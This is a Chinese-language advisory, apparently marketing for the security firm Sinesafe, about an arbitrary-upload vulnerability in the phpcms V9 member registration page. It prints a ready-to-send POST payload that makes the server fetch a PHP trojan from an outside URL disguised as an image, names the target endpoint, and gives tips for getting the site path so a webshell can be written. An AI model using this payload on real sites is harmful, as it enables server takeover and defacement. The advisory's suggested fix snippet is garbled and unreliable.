phpcms 最新漏洞 通杀V9所有版本

                              

     近期phpcms爆高危漏洞，4月-5月之间很多用phpcms代码的网站，都被黑客入侵并篡改。

该漏洞影响phpcms V9 所有版本，包括现在最新9.6版本，这个漏洞早在2016年的10月份内部已经公开，Sine安全早已针对此漏洞研发修复补丁，老客户的网站已修复phpcms漏洞。

2017年4月，此漏洞在互联网上公开，引起许多小黑帽的注意，导致大多数网站都沦为他们练手的战场，许多客户的网站被跳转，被挂马，以及百度快照被劫持，网站的百度快照都是一些非法页面。
 
漏洞利用的是通过网站的注册页面，发送POST数据过去 ，可以绕过直接上传任意脚本文件（PHP木马文件），从而被攻击者利用，并拿到服务器管理者权限，危害巨大。

 
代码如下：

POST数据：

siteid=1&modelid=11&username=sinesafe&password=sinesafe&[email protected]&info[content]=<img src=http://sinesafe.com/websafe/php_sine.php#.jpg>&dosubmit=1&protocol=
 
POST地址：

www.网站地址.com/index.php?m=member&c=index&a=register&siteid=1
 
USERNAME 和 Email 的值尽量不要跟之前注册的一样，一样的话也可以正常下载到目标，但是不会爆出网站的路径，没有网站路径就写不了木马文件。
 


在上传方面，代码里并没有做严格的安全过滤，导致漏洞可以#利用，并上传以图片格式的木马文件，漏洞修复建议：

在 /phpcms/libs/classes/attachment.class.php 文件，加上代码过滤检查
 
if(!preg_match(”/($ext)/i”,$filename)) continue;
 
程序代码漏洞，这需要有安全意识的程序员才能修复得了，通常是在出现被挂马以后才知道要针对哪方面入手修复，也可以通过安全公司来解决，国内也就Sinesafe和绿盟等安全公司 比较专业。